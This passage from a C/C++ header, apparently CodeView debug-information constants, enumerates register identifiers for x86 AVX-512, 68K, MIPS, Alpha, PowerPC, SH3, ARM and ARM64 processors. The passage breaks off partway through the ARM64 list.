CV_REG_YMM5D0     =    384,\n    CV_REG_YMM5D1     =    385,\n    CV_REG_YMM5D2     =    386,\n    CV_REG_YMM5D3     =    387,\n    CV_REG_YMM6D0     =    388,\n    CV_REG_YMM6D1     =    389,\n    CV_REG_YMM6D2     =    390,\n    CV_REG_YMM6D3     =    391,\n    CV_REG_YMM7D0     =    392,\n    CV_REG_YMM7D1     =    393,\n    CV_REG_YMM7D2     =    394,\n    CV_REG_YMM7D3     =    395,\n\n    CV_REG_BND0       =    396,    // x86 MPX bounds registers\n    CV_REG_BND1       =    397,\n    CV_REG_BND2       =    398,\n    CV_REG_BND3       =    399,\n    CV_REG_BNDCFGU    =    400,\n    CV_REG_BNDSTATUS  =    401,\n\n    CV_REG_ZMM0       =    402,     // AVX-512 registers\n    CV_REG_ZMM1       =    403,\n    CV_REG_ZMM2       =    404,\n    CV_REG_ZMM3       =    405,\n    CV_REG_ZMM4       =    406,\n    CV_REG_ZMM5       =    407,\n    CV_REG_ZMM6       =    408,\n    CV_REG_ZMM7       =    409,\n\n    CV_REG_ZMM0H      =    410,\n    CV_REG_ZMM1H      =    411,\n    CV_REG_ZMM2H      =    412,\n    CV_REG_ZMM3H      =    413,\n    CV_REG_ZMM4H      =    414,\n    CV_REG_ZMM5H      =    415,\n    CV_REG_ZMM6H      =    416,\n    CV_REG_ZMM7H      =    417,\n\n    CV_REG_K0         =    418,\n    CV_REG_K1         =    419,\n    CV_REG_K2         =    420,\n    CV_REG_K3         =    421,\n    CV_REG_K4         =    422,\n    CV_REG_K5         =    423,\n    CV_REG_K6         =    424,\n    CV_REG_K7        =     425,\n\n    CV_REG_SSP       =     426,      // CET- Shadow Stack Pointer\n\n    // registers for the 68K processors\n\n    CV_R68_D0       =    0,\n    CV_R68_D1       =    1,\n    CV_R68_D2       =    2,\n    CV_R68_D3       =    3,\n    CV_R68_D4       =    4,\n    CV_R68_D5       =    5,\n    CV_R68_D6       =    6,\n    CV_R68_D7       =    7,\n    CV_R68_A0       =    8,\n    CV_R68_A1       =    9,\n    CV_R68_A2       =   10,\n    CV_R68_A3       =   11,\n    CV_R68_A4       =   12,\n    CV_R68_A5       =   13,\n    CV_R68_A6       =   14,\n    CV_R68_A7       =   15,\n    CV_R68_CCR      =   16,\n    CV_R68_SR       =   17,\n    CV_R68_USP      =   18,\n    CV_R68_MSP      =   19,\n    CV_R68_SFC      =   20,\n    CV_R68_DFC      =   21,\n    CV_R68_CACR     =   22,\n    CV_R68_VBR      =   23,\n    CV_R68_CAAR     =   24,\n    CV_R68_ISP      =   25,\n    CV_R68_PC       =   26,\n    //reserved  27\n    CV_R68_FPCR     =   28,\n    CV_R68_FPSR     =   29,\n    CV_R68_FPIAR    =   30,\n    //reserved  31\n    CV_R68_FP0      =   32,\n    CV_R68_FP1      =   33,\n    CV_R68_FP2      =   34,\n    CV_R68_FP3      =   35,\n    CV_R68_FP4      =   36,\n    CV_R68_FP5      =   37,\n    CV_R68_FP6      =   38,\n    CV_R68_FP7      =   39,\n    //reserved  40\n    CV_R68_MMUSR030 =   41,\n    CV_R68_MMUSR    =   42,\n    CV_R68_URP      =   43,\n    CV_R68_DTT0     =   44,\n    CV_R68_DTT1     =   45,\n    CV_R68_ITT0     =   46,\n    CV_R68_ITT1     =   47,\n    //reserved  50\n    CV_R68_PSR      =   51,\n    CV_R68_PCSR     =   52,\n    CV_R68_VAL      =   53,\n    CV_R68_CRP      =   54,\n    CV_R68_SRP      =   55,\n    CV_R68_DRP      =   56,\n    CV_R68_TC       =   57,\n    CV_R68_AC       =   58,\n    CV_R68_SCC      =   59,\n    CV_R68_CAL      =   60,\n    CV_R68_TT0      =   61,\n    CV_R68_TT1      =   62,\n    //reserved  63\n    CV_R68_BAD0     =   64,\n    CV_R68_BAD1     =   65,\n    CV_R68_BAD2     =   66,\n    CV_R68_BAD3     =   67,\n    CV_R68_BAD4     =   68,\n    CV_R68_BAD5     =   69,\n    CV_R68_BAD6     =   70,\n    CV_R68_BAD7     =   71,\n    CV_R68_BAC0     =   72,\n    CV_R68_BAC1     =   73,\n    CV_R68_BAC2     =   74,\n    CV_R68_BAC3     =   75,\n    CV_R68_BAC4     =   76,\n    CV_R68_BAC5     =   77,\n    CV_R68_BAC6     =   78,\n    CV_R68_BAC7     =   79,\n\n     // Register set for the MIPS 4000\n\n    CV_M4_NOREG     =   CV_REG_NONE,\n\n    CV_M4_IntZERO   =   10,      /* CPU REGISTER */\n    CV_M4_IntAT     =   11,\n    CV_M4_IntV0     =   12,\n    CV_M4_IntV1     =   13,\n    CV_M4_IntA0     =   14,\n    CV_M4_IntA1     =   15,\n    CV_M4_IntA2     =   16,\n    CV_M4_IntA3     =   17,\n    CV_M4_IntT0     =   18,\n    CV_M4_IntT1     =   19,\n    CV_M4_IntT2     =   20,\n    CV_M4_IntT3     =   21,\n    CV_M4_IntT4     =   22,\n    CV_M4_IntT5     =   23,\n    CV_M4_IntT6     =   24,\n    CV_M4_IntT7     =   25,\n    CV_M4_IntS0     =   26,\n    CV_M4_IntS1     =   27,\n    CV_M4_IntS2     =   28,\n    CV_M4_IntS3     =   29,\n    CV_M4_IntS4     =   30,\n    CV_M4_IntS5     =   31,\n    CV_M4_IntS6     =   32,\n    CV_M4_IntS7     =   33,\n    CV_M4_IntT8     =   34,\n    CV_M4_IntT9     =   35,\n    CV_M4_IntKT0    =   36,\n    CV_M4_IntKT1    =   37,\n    CV_M4_IntGP     =   38,\n    CV_M4_IntSP     =   39,\n    CV_M4_IntS8     =   40,\n    CV_M4_IntRA     =   41,\n    CV_M4_IntLO     =   42,\n    CV_M4_IntHI     =   43,\n\n    CV_M4_Fir       =   50,\n    CV_M4_Psr       =   51,\n\n    CV_M4_FltF0     =   60,      /* Floating point registers */\n    CV_M4_FltF1     =   61,\n    CV_M4_FltF2     =   62,\n    CV_M4_FltF3     =   63,\n    CV_M4_FltF4     =   64,\n    CV_M4_FltF5     =   65,\n    CV_M4_FltF6     =   66,\n    CV_M4_FltF7     =   67,\n    CV_M4_FltF8     =   68,\n    CV_M4_FltF9     =   69,\n    CV_M4_FltF10    =   70,\n    CV_M4_FltF11    =   71,\n    CV_M4_FltF12    =   72,\n    CV_M4_FltF13    =   73,\n    CV_M4_FltF14    =   74,\n    CV_M4_FltF15    =   75,\n    CV_M4_FltF16    =   76,\n    CV_M4_FltF17    =   77,\n    CV_M4_FltF18    =   78,\n    CV_M4_FltF19    =   79,\n    CV_M4_FltF20    =   80,\n    CV_M4_FltF21    =   81,\n    CV_M4_FltF22    =   82,\n    CV_M4_FltF23    =   83,\n    CV_M4_FltF24    =   84,\n    CV_M4_FltF25    =   85,\n    CV_M4_FltF26    =   86,\n    CV_M4_FltF27    =   87,\n    CV_M4_FltF28    =   88,\n    CV_M4_FltF29    =   89,\n    CV_M4_FltF30    =   90,\n    CV_M4_FltF31    =   91,\n    CV_M4_FltFsr    =   92,\n\n\n    // Register set for the ALPHA AXP\n\n    CV_ALPHA_NOREG  = CV_REG_NONE,\n\n    CV_ALPHA_FltF0  =   10,   // Floating point registers\n    CV_ALPHA_FltF1  =   11,\n    CV_ALPHA_FltF2  =   12,\n    CV_ALPHA_FltF3  =   13,\n    CV_ALPHA_FltF4  =   14,\n    CV_ALPHA_FltF5  =   15,\n    CV_ALPHA_FltF6  =   16,\n    CV_ALPHA_FltF7  =   17,\n    CV_ALPHA_FltF8  =   18,\n    CV_ALPHA_FltF9  =   19,\n    CV_ALPHA_FltF10 =   20,\n    CV_ALPHA_FltF11 =   21,\n    CV_ALPHA_FltF12 =   22,\n    CV_ALPHA_FltF13 =   23,\n    CV_ALPHA_FltF14 =   24,\n    CV_ALPHA_FltF15 =   25,\n    CV_ALPHA_FltF16 =   26,\n    CV_ALPHA_FltF17 =   27,\n    CV_ALPHA_FltF18 =   28,\n    CV_ALPHA_FltF19 =   29,\n    CV_ALPHA_FltF20 =   30,\n    CV_ALPHA_FltF21 =   31,\n    CV_ALPHA_FltF22 =   32,\n    CV_ALPHA_FltF23 =   33,\n    CV_ALPHA_FltF24 =   34,\n    CV_ALPHA_FltF25 =   35,\n    CV_ALPHA_FltF26 =   36,\n    CV_ALPHA_FltF27 =   37,\n    CV_ALPHA_FltF28 =   38,\n    CV_ALPHA_FltF29 =   39,\n    CV_ALPHA_FltF30 =   40,\n    CV_ALPHA_FltF31 =   41,\n\n    CV_ALPHA_IntV0  =   42,   // Integer registers\n    CV_ALPHA_IntT0  =   43,\n    CV_ALPHA_IntT1  =   44,\n    CV_ALPHA_IntT2  =   45,\n    CV_ALPHA_IntT3  =   46,\n    CV_ALPHA_IntT4  =   47,\n    CV_ALPHA_IntT5  =   48,\n    CV_ALPHA_IntT6  =   49,\n    CV_ALPHA_IntT7  =   50,\n    CV_ALPHA_IntS0  =   51,\n    CV_ALPHA_IntS1  =   52,\n    CV_ALPHA_IntS2  =   53,\n    CV_ALPHA_IntS3  =   54,\n    CV_ALPHA_IntS4  =   55,\n    CV_ALPHA_IntS5  =   56,\n    CV_ALPHA_IntFP  =   57,\n    CV_ALPHA_IntA0  =   58,\n    CV_ALPHA_IntA1  =   59,\n    CV_ALPHA_IntA2  =   60,\n    CV_ALPHA_IntA3  =   61,\n    CV_ALPHA_IntA4  =   62,\n    CV_ALPHA_IntA5  =   63,\n    CV_ALPHA_IntT8  =   64,\n    CV_ALPHA_IntT9  =   65,\n    CV_ALPHA_IntT10 =   66,\n    CV_ALPHA_IntT11 =   67,\n    CV_ALPHA_IntRA  =   68,\n    CV_ALPHA_IntT12 =   69,\n    CV_ALPHA_IntAT  =   70,\n    CV_ALPHA_IntGP  =   71,\n    CV_ALPHA_IntSP  =   72,\n    CV_ALPHA_IntZERO =  73,\n\n\n    CV_ALPHA_Fpcr   =   74,   // Control registers\n    CV_ALPHA_Fir    =   75,\n    CV_ALPHA_Psr    =   76,\n    CV_ALPHA_FltFsr =   77,\n    CV_ALPHA_SoftFpcr =   78,\n\n    // Register Set for Motorola/IBM PowerPC\n\n    /*\n    ** PowerPC General Registers ( User Level )\n    */\n    CV_PPC_GPR0     =  1,\n    CV_PPC_GPR1     =  2,\n    CV_PPC_GPR2     =  3,\n    CV_PPC_GPR3     =  4,\n    CV_PPC_GPR4     =  5,\n    CV_PPC_GPR5     =  6,\n    CV_PPC_GPR6     =  7,\n    CV_PPC_GPR7     =  8,\n    CV_PPC_GPR8     =  9,\n    CV_PPC_GPR9     = 10,\n    CV_PPC_GPR10    = 11,\n    CV_PPC_GPR11    = 12,\n    CV_PPC_GPR12    = 13,\n    CV_PPC_GPR13    = 14,\n    CV_PPC_GPR14    = 15,\n    CV_PPC_GPR15    = 16,\n    CV_PPC_GPR16    = 17,\n    CV_PPC_GPR17    = 18,\n    CV_PPC_GPR18    = 19,\n    CV_PPC_GPR19    = 20,\n    CV_PPC_GPR20    = 21,\n    CV_PPC_GPR21    = 22,\n    CV_PPC_GPR22    = 23,\n    CV_PPC_GPR23    = 24,\n    CV_PPC_GPR24    = 25,\n    CV_PPC_GPR25    = 26,\n    CV_PPC_GPR26    = 27,\n    CV_PPC_GPR27    = 28,\n    CV_PPC_GPR28    = 29,\n    CV_PPC_GPR29    = 30,\n    CV_PPC_GPR30    = 31,\n    CV_PPC_GPR31    = 32,\n\n    /*\n    ** PowerPC Condition Register ( User Level )\n    */\n    CV_PPC_CR       = 33,\n    CV_PPC_CR0      = 34,\n    CV_PPC_CR1      = 35,\n    CV_PPC_CR2      = 36,\n    CV_PPC_CR3      = 37,\n    CV_PPC_CR4      = 38,\n    CV_PPC_CR5      = 39,\n    CV_PPC_CR6      = 40,\n    CV_PPC_CR7      = 41,\n\n    /*\n    ** PowerPC Floating Point Registers ( User Level )\n    */\n    CV_PPC_FPR0     = 42,\n    CV_PPC_FPR1     = 43,\n    CV_PPC_FPR2     = 44,\n    CV_PPC_FPR3     = 45,\n    CV_PPC_FPR4     = 46,\n    CV_PPC_FPR5     = 47,\n    CV_PPC_FPR6     = 48,\n    CV_PPC_FPR7     = 49,\n    CV_PPC_FPR8     = 50,\n    CV_PPC_FPR9     = 51,\n    CV_PPC_FPR10    = 52,\n    CV_PPC_FPR11    = 53,\n    CV_PPC_FPR12    = 54,\n    CV_PPC_FPR13    = 55,\n    CV_PPC_FPR14    = 56,\n    CV_PPC_FPR15    = 57,\n    CV_PPC_FPR16    = 58,\n    CV_PPC_FPR17    = 59,\n    CV_PPC_FPR18    = 60,\n    CV_PPC_FPR19    = 61,\n    CV_PPC_FPR20    = 62,\n    CV_PPC_FPR21    = 63,\n    CV_PPC_FPR22    = 64,\n    CV_PPC_FPR23    = 65,\n    CV_PPC_FPR24    = 66,\n    CV_PPC_FPR25    = 67,\n    CV_PPC_FPR26    = 68,\n    CV_PPC_FPR27    = 69,\n    CV_PPC_FPR28    = 70,\n    CV_PPC_FPR29    = 71,\n    CV_PPC_FPR30    = 72,\n    CV_PPC_FPR31    = 73,\n\n    /*\n    ** PowerPC Floating Point Status and Control Register ( User Level )\n    */\n    CV_PPC_FPSCR    = 74,\n\n    /*\n    ** PowerPC Machine State Register ( Supervisor Level )\n    */\n    CV_PPC_MSR      = 75,\n\n    /*\n    ** PowerPC Segment Registers ( Supervisor Level )\n    */\n    CV_PPC_SR0      = 76,\n    CV_PPC_SR1      = 77,\n    CV_PPC_SR2      = 78,\n    CV_PPC_SR3      = 79,\n    CV_PPC_SR4      = 80,\n    CV_PPC_SR5      = 81,\n    CV_PPC_SR6      = 82,\n    CV_PPC_SR7      = 83,\n    CV_PPC_SR8      = 84,\n    CV_PPC_SR9      = 85,\n    CV_PPC_SR10     = 86,\n    CV_PPC_SR11     = 87,\n    CV_PPC_SR12     = 88,\n    CV_PPC_SR13     = 89,\n    CV_PPC_SR14     = 90,\n    CV_PPC_SR15     = 91,\n\n    /*\n    ** For all of the special purpose registers add 100 to the SPR# that the\n    ** Motorola/IBM documentation gives with the exception of any imaginary\n    ** registers.\n    */\n\n    /*\n    ** PowerPC Special Purpose Registers ( User Level )\n    */\n    CV_PPC_PC       = 99,     // PC (imaginary register)\n\n    CV_PPC_MQ       = 100,    // MPC601\n    CV_PPC_XER      = 101,\n    CV_PPC_RTCU     = 104,    // MPC601\n    CV_PPC_RTCL     = 105,    // MPC601\n    CV_PPC_LR       = 108,\n    CV_PPC_CTR      = 109,\n\n    CV_PPC_COMPARE  = 110,    // part of XER (internal to the debugger only)\n    CV_PPC_COUNT    = 111,    // part of XER (internal to the debugger only)\n\n    /*\n    ** PowerPC Special Purpose Registers ( Supervisor Level )\n    */\n    CV_PPC_DSISR    = 118,\n    CV_PPC_DAR      = 119,\n    CV_PPC_DEC      = 122,\n    CV_PPC_SDR1     = 125,\n    CV_PPC_SRR0     = 126,\n    CV_PPC_SRR1     = 127,\n    CV_PPC_SPRG0    = 372,\n    CV_PPC_SPRG1    = 373,\n    CV_PPC_SPRG2    = 374,\n    CV_PPC_SPRG3    = 375,\n    CV_PPC_ASR      = 280,    // 64-bit implementations only\n    CV_PPC_EAR      = 382,\n    CV_PPC_PVR      = 287,\n    CV_PPC_BAT0U    = 628,\n    CV_PPC_BAT0L    = 629,\n    CV_PPC_BAT1U    = 630,\n    CV_PPC_BAT1L    = 631,\n    CV_PPC_BAT2U    = 632,\n    CV_PPC_BAT2L    = 633,\n    CV_PPC_BAT3U    = 634,\n    CV_PPC_BAT3L    = 635,\n    CV_PPC_DBAT0U   = 636,\n    CV_PPC_DBAT0L   = 637,\n    CV_PPC_DBAT1U   = 638,\n    CV_PPC_DBAT1L   = 639,\n    CV_PPC_DBAT2U   = 640,\n    CV_PPC_DBAT2L   = 641,\n    CV_PPC_DBAT3U   = 642,\n    CV_PPC_DBAT3L   = 643,\n\n    /*\n    ** PowerPC Special Purpose Registers Implementation Dependent ( Supervisor Level )\n    */\n\n    /*\n    ** Doesn't appear that IBM/Motorola has finished defining these.\n    */\n\n    CV_PPC_PMR0     = 1044,   // MPC620,\n    CV_PPC_PMR1     = 1045,   // MPC620,\n    CV_PPC_PMR2     = 1046,   // MPC620,\n    CV_PPC_PMR3     = 1047,   // MPC620,\n    CV_PPC_PMR4     = 1048,   // MPC620,\n    CV_PPC_PMR5     = 1049,   // MPC620,\n    CV_PPC_PMR6     = 1050,   // MPC620,\n    CV_PPC_PMR7     = 1051,   // MPC620,\n    CV_PPC_PMR8     = 1052,   // MPC620,\n    CV_PPC_PMR9     = 1053,   // MPC620,\n    CV_PPC_PMR10    = 1054,   // MPC620,\n    CV_PPC_PMR11    = 1055,   // MPC620,\n    CV_PPC_PMR12    = 1056,   // MPC620,\n    CV_PPC_PMR13    = 1057,   // MPC620,\n    CV_PPC_PMR14    = 1058,   // MPC620,\n    CV_PPC_PMR15    = 1059,   // MPC620,\n\n    CV_PPC_DMISS    = 1076,   // MPC603\n    CV_PPC_DCMP     = 1077,   // MPC603\n    CV_PPC_HASH1    = 1078,   // MPC603\n    CV_PPC_HASH2    = 1079,   // MPC603\n    CV_PPC_IMISS    = 1080,   // MPC603\n    CV_PPC_ICMP     = 1081,   // MPC603\n    CV_PPC_RPA      = 1082,   // MPC603\n\n    CV_PPC_HID0     = 1108,   // MPC601, MPC603, MPC620\n    CV_PPC_HID1     = 1109,   // MPC601\n    CV_PPC_HID2     = 1110,   // MPC601, MPC603, MPC620 ( IABR )\n    CV_PPC_HID3     = 1111,   // Not Defined\n    CV_PPC_HID4     = 1112,   // Not Defined\n    CV_PPC_HID5     = 1113,   // MPC601, MPC604, MPC620 ( DABR )\n    CV_PPC_HID6     = 1114,   // Not Defined\n    CV_PPC_HID7     = 1115,   // Not Defined\n    CV_PPC_HID8     = 1116,   // MPC620 ( BUSCSR )\n    CV_PPC_HID9     = 1117,   // MPC620 ( L2CSR )\n    CV_PPC_HID10    = 1118,   // Not Defined\n    CV_PPC_HID11    = 1119,   // Not Defined\n    CV_PPC_HID12    = 1120,   // Not Defined\n    CV_PPC_HID13    = 1121,   // MPC604 ( HCR )\n    CV_PPC_HID14    = 1122,   // Not Defined\n    CV_PPC_HID15    = 1123,   // MPC601, MPC604, MPC620 ( PIR )\n\n    //\n    // JAVA VM registers\n    //\n\n    CV_JAVA_PC      = 1,\n\n    //\n    // Register set for the Hitachi SH3\n    //\n\n    CV_SH3_NOREG    =   CV_REG_NONE,\n\n    CV_SH3_IntR0    =   10,   // CPU REGISTER\n    CV_SH3_IntR1    =   11,\n    CV_SH3_IntR2    =   12,\n    CV_SH3_IntR3    =   13,\n    CV_SH3_IntR4    =   14,\n    CV_SH3_IntR5    =   15,\n    CV_SH3_IntR6    =   16,\n    CV_SH3_IntR7    =   17,\n    CV_SH3_IntR8    =   18,\n    CV_SH3_IntR9    =   19,\n    CV_SH3_IntR10   =   20,\n    CV_SH3_IntR11   =   21,\n    CV_SH3_IntR12   =   22,\n    CV_SH3_IntR13   =   23,\n    CV_SH3_IntFp    =   24,\n    CV_SH3_IntSp    =   25,\n    CV_SH3_Gbr      =   38,\n    CV_SH3_Pr       =   39,\n    CV_SH3_Mach     =   40,\n    CV_SH3_Macl     =   41,\n\n    CV_SH3_Pc       =   50,\n    CV_SH3_Sr       =   51,\n\n    CV_SH3_BarA     =   60,\n    CV_SH3_BasrA    =   61,\n    CV_SH3_BamrA    =   62,\n    CV_SH3_BbrA     =   63,\n    CV_SH3_BarB     =   64,\n    CV_SH3_BasrB    =   65,\n    CV_SH3_BamrB    =   66,\n    CV_SH3_BbrB     =   67,\n    CV_SH3_BdrB     =   68,\n    CV_SH3_BdmrB    =   69,\n    CV_SH3_Brcr     =   70,\n\n    //\n    // Additional registers for Hitachi SH processors\n    //\n\n    CV_SH_Fpscr    =   75,    // floating point status/control register\n    CV_SH_Fpul     =   76,    // floating point communication register\n\n    CV_SH_FpR0     =   80,    // Floating point registers\n    CV_SH_FpR1     =   81,\n    CV_SH_FpR2     =   82,\n    CV_SH_FpR3     =   83,\n    CV_SH_FpR4     =   84,\n    CV_SH_FpR5     =   85,\n    CV_SH_FpR6     =   86,\n    CV_SH_FpR7     =   87,\n    CV_SH_FpR8     =   88,\n    CV_SH_FpR9     =   89,\n    CV_SH_FpR10    =   90,\n    CV_SH_FpR11    =   91,\n    CV_SH_FpR12    =   92,\n    CV_SH_FpR13    =   93,\n    CV_SH_FpR14    =   94,\n    CV_SH_FpR15    =   95,\n\n    CV_SH_XFpR0    =   96,\n    CV_SH_XFpR1    =   97,\n    CV_SH_XFpR2    =   98,\n    CV_SH_XFpR3    =   99,\n    CV_SH_XFpR4    =  100,\n    CV_SH_XFpR5    =  101,\n    CV_SH_XFpR6    =  102,\n    CV_SH_XFpR7    =  103,\n    CV_SH_XFpR8    =  104,\n    CV_SH_XFpR9    =  105,\n    CV_SH_XFpR10   =  106,\n    CV_SH_XFpR11   =  107,\n    CV_SH_XFpR12   =  108,\n    CV_SH_XFpR13   =  109,\n    CV_SH_XFpR14   =  110,\n    CV_SH_XFpR15   =  111,\n\n    //\n    // Register set for the ARM processor.\n    //\n\n    CV_ARM_NOREG    =   CV_REG_NONE,\n\n    CV_ARM_R0       =   10,\n    CV_ARM_R1       =   11,\n    CV_ARM_R2       =   12,\n    CV_ARM_R3       =   13,\n    CV_ARM_R4       =   14,\n    CV_ARM_R5       =   15,\n    CV_ARM_R6       =   16,\n    CV_ARM_R7       =   17,\n    CV_ARM_R8       =   18,\n    CV_ARM_R9       =   19,\n    CV_ARM_R10      =   20,\n    CV_ARM_R11      =   21, // Frame pointer, if allocated\n    CV_ARM_R12      =   22,\n    CV_ARM_SP       =   23, // Stack pointer\n    CV_ARM_LR       =   24, // Link Register\n    CV_ARM_PC       =   25, // Program counter\n    CV_ARM_CPSR     =   26, // Current program status register\n\n    CV_ARM_ACC0     =   27, // DSP co-processor 0 40 bit accumulator\n\n    //\n    // Registers for ARM VFP10 support\n    //\n    \n    CV_ARM_FPSCR    =   40,\n    CV_ARM_FPEXC    =   41,\n    \n    CV_ARM_FS0      =   50,\n    CV_ARM_FS1      =   51,\n    CV_ARM_FS2      =   52,\n    CV_ARM_FS3      =   53,\n    CV_ARM_FS4      =   54,\n    CV_ARM_FS5      =   55,\n    CV_ARM_FS6      =   56,\n    CV_ARM_FS7      =   57,\n    CV_ARM_FS8      =   58,\n    CV_ARM_FS9      =   59,\n    CV_ARM_FS10     =   60,\n    CV_ARM_FS11     =   61,\n    CV_ARM_FS12     =   62,\n    CV_ARM_FS13     =   63,\n    CV_ARM_FS14     =   64,\n    CV_ARM_FS15     =   65,\n    CV_ARM_FS16     =   66,\n    CV_ARM_FS17     =   67,\n    CV_ARM_FS18     =   68,\n    CV_ARM_FS19     =   69,\n    CV_ARM_FS20     =   70,\n    CV_ARM_FS21     =   71,\n    CV_ARM_FS22     =   72,\n    CV_ARM_FS23     =   73,\n    CV_ARM_FS24     =   74,\n    CV_ARM_FS25     =   75,\n    CV_ARM_FS26     =   76,\n    CV_ARM_FS27     =   77,\n    CV_ARM_FS28     =   78,\n    CV_ARM_FS29     =   79,\n    CV_ARM_FS30     =   80,\n    CV_ARM_FS31     =   81,\n\n    //\n    // ARM VFP Floating Point Extra control registers\n    //\n    \n    CV_ARM_FPEXTRA0 =   90,\n    CV_ARM_FPEXTRA1 =   91,\n    CV_ARM_FPEXTRA2 =   92,\n    CV_ARM_FPEXTRA3 =   93,\n    CV_ARM_FPEXTRA4 =   94,\n    CV_ARM_FPEXTRA5 =   95,\n    CV_ARM_FPEXTRA6 =   96,\n    CV_ARM_FPEXTRA7 =   97,\n\n    // XSCALE Concan co-processor registers\n    CV_ARM_WR0      =   128, \n    CV_ARM_WR1      =   129, \n    CV_ARM_WR2      =   130, \n    CV_ARM_WR3      =   131, \n    CV_ARM_WR4      =   132, \n    CV_ARM_WR5      =   133, \n    CV_ARM_WR6      =   134, \n    CV_ARM_WR7      =   135, \n    CV_ARM_WR8      =   136, \n    CV_ARM_WR9      =   137, \n    CV_ARM_WR10     =   138, \n    CV_ARM_WR11     =   139, \n    CV_ARM_WR12     =   140, \n    CV_ARM_WR13     =   141, \n    CV_ARM_WR14     =   142, \n    CV_ARM_WR15     =   143, \n    \n    // XSCALE Concan co-processor control registers\n    CV_ARM_WCID     =   144,\n    CV_ARM_WCON     =   145,\n    CV_ARM_WCSSF    =   146,\n    CV_ARM_WCASF    =   147,\n    CV_ARM_WC4      =   148,\n    CV_ARM_WC5      =   149,\n    CV_ARM_WC6      =   150,\n    CV_ARM_WC7      =   151,\n    CV_ARM_WCGR0    =   152,\n    CV_ARM_WCGR1    =   153,\n    CV_ARM_WCGR2    =   154,\n    CV_ARM_WCGR3    =   155,\n    CV_ARM_WC12     =   156,\n    CV_ARM_WC13     =   157,\n    CV_ARM_WC14     =   158,\n    CV_ARM_WC15     =   159,\n\n    //\n    // ARM VFPv3/Neon extended floating Point\n    //\n    \n    CV_ARM_FS32     =   200,\n    CV_ARM_FS33     =   201,\n    CV_ARM_FS34     =   202,\n    CV_ARM_FS35     =   203,\n    CV_ARM_FS36     =   204,\n    CV_ARM_FS37     =   205,\n    CV_ARM_FS38     =   206,\n    CV_ARM_FS39     =   207,\n    CV_ARM_FS40     =   208,\n    CV_ARM_FS41     =   209,\n    CV_ARM_FS42     =   210,\n    CV_ARM_FS43     =   211,\n    CV_ARM_FS44     =   212,\n    CV_ARM_FS45     =   213,\n    CV_ARM_FS46     =   214,\n    CV_ARM_FS47     =   215,\n    CV_ARM_FS48     =   216,\n    CV_ARM_FS49     =   217,\n    CV_ARM_FS50     =   218,\n    CV_ARM_FS51     =   219,\n    CV_ARM_FS52     =   220,\n    CV_ARM_FS53     =   221,\n    CV_ARM_FS54     =   222,\n    CV_ARM_FS55     =   223,\n    CV_ARM_FS56     =   224,\n    CV_ARM_FS57     =   225,\n    CV_ARM_FS58     =   226,\n    CV_ARM_FS59     =   227,\n    CV_ARM_FS60     =   228,\n    CV_ARM_FS61     =   229,\n    CV_ARM_FS62     =   230,\n    CV_ARM_FS63     =   231,\n\n    // ARM double-precision floating point\n\n    CV_ARM_ND0 = 300, \n    CV_ARM_ND1 = 301, \n    CV_ARM_ND2 = 302, \n    CV_ARM_ND3 = 303, \n    CV_ARM_ND4 = 304, \n    CV_ARM_ND5 = 305,\n    CV_ARM_ND6 = 306, \n    CV_ARM_ND7 = 307, \n    CV_ARM_ND8 = 308, \n    CV_ARM_ND9 = 309, \n    CV_ARM_ND10 = 310, \n    CV_ARM_ND11 = 311,\n    CV_ARM_ND12 = 312, \n    CV_ARM_ND13 = 313, \n    CV_ARM_ND14 = 314, \n    CV_ARM_ND15 = 315, \n    CV_ARM_ND16 = 316,\n    CV_ARM_ND17 = 317, \n    CV_ARM_ND18 = 318, \n    CV_ARM_ND19 = 319, \n    CV_ARM_ND20 = 320, \n    CV_ARM_ND21 = 321,\n    CV_ARM_ND22 = 322, \n    CV_ARM_ND23 = 323, \n    CV_ARM_ND24 = 324, \n    CV_ARM_ND25 = 325, \n    CV_ARM_ND26 = 326,\n    CV_ARM_ND27 = 327, \n    CV_ARM_ND28 = 328, \n    CV_ARM_ND29 = 329, \n    CV_ARM_ND30 = 330, \n    CV_ARM_ND31 = 331,\n\n    // ARM extended precision floating point\n\n    CV_ARM_NQ0 = 400, \n    CV_ARM_NQ1 = 401, \n    CV_ARM_NQ2 = 402, \n    CV_ARM_NQ3 = 403, \n    CV_ARM_NQ4 = 404, \n    CV_ARM_NQ5 = 405,\n    CV_ARM_NQ6 = 406, \n    CV_ARM_NQ7 = 407, \n    CV_ARM_NQ8 = 408, \n    CV_ARM_NQ9 = 409, \n    CV_ARM_NQ10 = 410, \n    CV_ARM_NQ11 = 411,\n    CV_ARM_NQ12 = 412, \n    CV_ARM_NQ13 = 413, \n    CV_ARM_NQ14 = 414, \n    CV_ARM_NQ15 = 415, \n\n    //\n    // Register set for ARM64\n    //\n\n    CV_ARM64_NOREG  =  CV_REG_NONE,\n\n    // General purpose 32-bit integer registers\n\n    CV_ARM64_W0     =  10,\n    CV_ARM64_W1     =  11,\n    CV_ARM64_W2     =  12,\n    CV_ARM64_W3     =  13,\n    CV_ARM64_W4     =  14,\n    CV_ARM64_W5     =  15,\n    CV_ARM64_W6     =  16,\n    CV_ARM64_W7     =  17,\n    CV_ARM64_W8     =  18,\n    CV_ARM64_W9     =  19,\n    CV_ARM64_W10    =  20,\n    CV_ARM64_W11    =  21,\n    CV_ARM64_W12    =  22,\n    CV_ARM64_W13    =  23,\n    CV_ARM64_W14    =  24,\n    CV_ARM64_W15    =  25,\n    CV_ARM64_W16    =  26,\n    CV_ARM64_W17    =  27,\n    CV_ARM64_W18    =  28,\n    CV_ARM64_W19    =  29,\n    CV_ARM64_W20    =  30,\n    CV_ARM64_W21    =  31,\n    CV_ARM64_W22    =  32,\n    CV_ARM64_W23    =  33,\n    CV_ARM64_W24    =  34,\n    CV_ARM64_W25    =  35,\n    CV_ARM64_W26    =  36,\n    CV_ARM64_W27    =  37,\n    CV_ARM64_W28    =  38,\n    CV_ARM64_W29    =  39,\n    CV_ARM64_W30    =  40,\n    CV_ARM64_WZR    =  41,\n\n    // General purpose 64-bit integer registers\n\n    CV_ARM64_X0     =  50,\n    CV_ARM64_X1     =  51,\n    CV_ARM64_X2     =  52,\n    CV_ARM64_X3     =  53,\n    CV_ARM64_X4     =  54,\n    CV_ARM64_X5     =  55,\n    CV_ARM64_X6     =  56,\n    CV_ARM64_X7     =  57,\n    CV_ARM64_X8     =  58,\n    CV_ARM64_X9     =  59,\n    CV_ARM64_X10    =  60,\n    CV_ARM64_X11    =  61,\n    CV_ARM64_X12    =  62,\n    CV_ARM64_X13    =  63,\n    CV_ARM64_X14    =  64,\n    CV_ARM64_X15    =  65,\n    CV_ARM64_IP0    =  66,\n    CV_ARM64_IP1    =  67,\n    CV_ARM64_X18    =  